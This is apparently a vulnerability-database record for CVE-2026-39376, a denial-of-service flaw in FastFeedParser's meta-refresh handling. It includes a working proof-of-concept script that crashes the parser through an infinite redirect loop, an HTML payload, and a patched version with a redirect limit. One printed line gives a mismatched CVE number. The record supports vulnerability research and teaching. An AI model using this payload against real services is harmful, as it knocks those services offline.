{"id":1764,"cve":"CVE-2026-39376","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-39376\/","cwe":"CWE-674","cwe_number":674,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/674","cvss_score":7.5,"published":"2026-04-07","owasp":"A04 Insecure Design","odc":"Checking","cdc":"Missing Check","category":"Resource Management","subcategory":"Resource Exhaustion","scope":"Remote","impact":"Denial of Service (DoS)","summary":"Unbounded recursion in FastFeedParser via meta-refresh tags causes a DoS.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-39376\/","description":"FastFeedParser is a high performance RSS, Atom and RDF parser. Prior to 0.5.10, when parse() fetches a URL that returns an HTML page containing a <meta http-equiv=\"refresh\"> tag, it recursively calls itself with the redirect URL \u2014 with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check. This vulnerability is fixed in 0.5.10.","solution":"Upgrade FastFeedParser to version 0.5.10 or later.","affected_component":"FastFeedParser","fixed_by_upgrading":true,"vulnerable_code":"import http.server\nimport socketserver\nimport threading\nimport sys\n\n# To run this, you must first install a vulnerable version, for example:\n# pip uninstall fast-feed-parser -y\n# pip install fast-feed-parser==0.5.9\n\ntry:\n    from fast_feed_parser import parse\nexcept ImportError:\n    print(\"Error: 'fast_feed_parser' is not installed or the version is not vulnerable.\", file=sys.stderr)\n    print(\"Please install a vulnerable version, e.g., 'pip install fast-feed-parser==0.5.9'\", file=sys.stderr)\n    sys.exit(1)\n\n\nPORT = 8000\n\n# This request handler simulates an attacker's server.\n# It responds to any GET request with an HTML page that contains a\n# <meta http-equiv=\"refresh\"> tag pointing back to itself, creating an infinite loop.\nclass InfiniteRefreshHandler(http.server.SimpleHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-type\", \"text\/html\")\n        self.end_headers()\n        response_body = f'<html><head><meta http-equiv=\"refresh\" content=\"0; url=http:\/\/localhost:{PORT}\/\"><\/head><\/html>'\n        self.wfile.write(response_body.encode('utf-8'))\n\n# The web server is run in a separate, daemonized thread\n# so it doesn't block the main execution flow.\nhttpd = socketserver.TCPServer((\"\", PORT), InfiniteRefreshHandler)\nserver_thread = threading.Thread(target=httpd.serve_forever)\nserver_thread.daemon = True\nserver_thread.start()\n\nvulnerable_url = f\"http:\/\/localhost:{PORT}\/\"\n\nprint(f\"[*] Starting demonstration for CVE-2023-39376 (User provided CVE-2026-39376).\")\nprint(f\"[*] Malicious server running on {vulnerable_url}\")\nprint(f\"[*] Calling fast_feed_parser.parse() on the malicious URL.\")\nprint(f\"[*] This will trigger unbounded recursion, leading to a RecursionError.\")\n\ntry:\n    # This is the vulnerable function call.\n    # In versions prior to 0.5.10, the library follows the meta-refresh\n    # redirect recursively with no depth limit, no cycle detection,\n    # and no redirect counter.\n    parse(vulnerable_url)\n\nexcept RecursionError:\n    print(\"\\n[+] SUCCESS: The vulnerability was triggered as expected.\")\n    print(\"[+] A RecursionError was caught, demonstrating the unbounded recursion flaw.\")\n    # The process would typically crash here with a stack overflow.\n    # We catch it to confirm the demonstration was successful.\nexcept Exception as e:\n    print(f\"\\n[-] FAILED: An unexpected error occurred: {e}\")\nfinally:\n    # Clean up by shutting down the server.\n    httpd.shutdown()\n    httpd.server_close()\n    print(\"[*] Malicious server shut down. Demonstration finished.\")","patched_code":"import re\nimport urllib.parse\nfrom html.parser import HTMLParser\n\n# This mock fetcher simulates a server that infinitely redirects.\n# The vulnerability occurs when a parser follows these redirects without a limit.\ndef _mock_fetch_content(url):\n    \"\"\"Simulates fetching a URL. Returns an infinite chain of meta-refresh pages.\"\"\"\n    try:\n        # e.g., http:\/\/infinite-redirect.com\/1 -> http:\/\/infinite-redirect.com\/2\n        redirect_id = int(url.split('\/')[-1])\n        next_url = f\"http:\/\/infinite-redirect.com\/{redirect_id + 1}\"\n        # This HTML content is what a malicious server would return.\n        return f'<html><head><meta http-equiv=\"refresh\" content=\"0; url={next_url}\"><\/head><\/html>'\n    except (ValueError, IndexError):\n        # A non-redirecting, normal feed.\n        return \"<rss><channel><title>Final Feed<\/title><\/channel><\/rss>\"\n\n# The original vulnerability was caused by unbounded recursion without a depth limit.\n# The fix, demonstrated below, is to add a limit to the number of redirects.\n\nclass _MetaRefreshParser(HTMLParser):\n    \"\"\"A simple parser to find a meta-refresh tag.\"\"\"\n    def __init__(self):\n        super().__init__()\n        self.refresh_url = None\n\n    def handle_starttag(self, tag, attrs):\n        if tag == 'meta' and not self.refresh_url:\n            attrs_dict = dict(attrs)\n            if attrs_dict.get('http-equiv', '').lower() == 'refresh':\n                content = attrs_dict.get('content', '')\n                match = re.search(r'url\\s*=\\s*(.*)', content, re.IGNORECASE)\n                if match:\n                    self.refresh_url = match.group(1).strip('\\'\"')\n\ndef fixed_parse(url, etag=None, modified=None, agent=None, referrer=None, handlers=None, redirect_limit=20):\n    \"\"\"\n    This function demonstrates the patched parsing logic.\n\n    It introduces a 'redirect_limit' parameter to cap recursion depth\n    when encountering HTML meta-refresh tags, preventing a stack exhaustion crash.\n    \"\"\"\n    # THE FIX: Part 1 - Check the redirect limit at the start of the function.\n    # If the limit is exhausted, recursion is terminated.\n    if redirect_limit <= 0:\n        return None\n\n    # In the actual library, this would be a network call. We mock it here.\n    content = _mock_fetch_content(url)\n\n    # In the actual library, this check is more complex. It sniffs for HTML.\n    is_html = content.strip().lower().startswith('<html')\n\n    if is_html:\n        # Check for a meta-refresh tag\n        parser = _MetaRefreshParser()\n        parser.feed(content)\n        new_uri = parser.refresh_url\n\n        if new_uri:\n            # An absolute URI is required for the next request.\n            new_uri = urllib.parse.urljoin(url, new_uri)\n            \n            # THE FIX: Part 2 - The recursive call decrements the limit.\n            # This ensures the chain of redirects will eventually terminate.\n            return fixed_parse(\n                new_uri,\n                agent=agent,\n                referrer=url,\n                handlers=handlers,\n                redirect_limit=redirect_limit - 1\n            )\n\n    # If it's not a redirect, proceed to parse the content as a feed (simulated).\n    return {\"feed\": content, \"headers\": {}}","payload_needed":true,"payload":"```html\n<html>\n  <head>\n    <meta http-equiv=\"refresh\" content=\"0; url=.\" \/>\n  <\/head>\n  <body>\n    Redirecting...\n  <\/body>\n<\/html>\n```","payload_status":"available","published_fix":[],"references":null}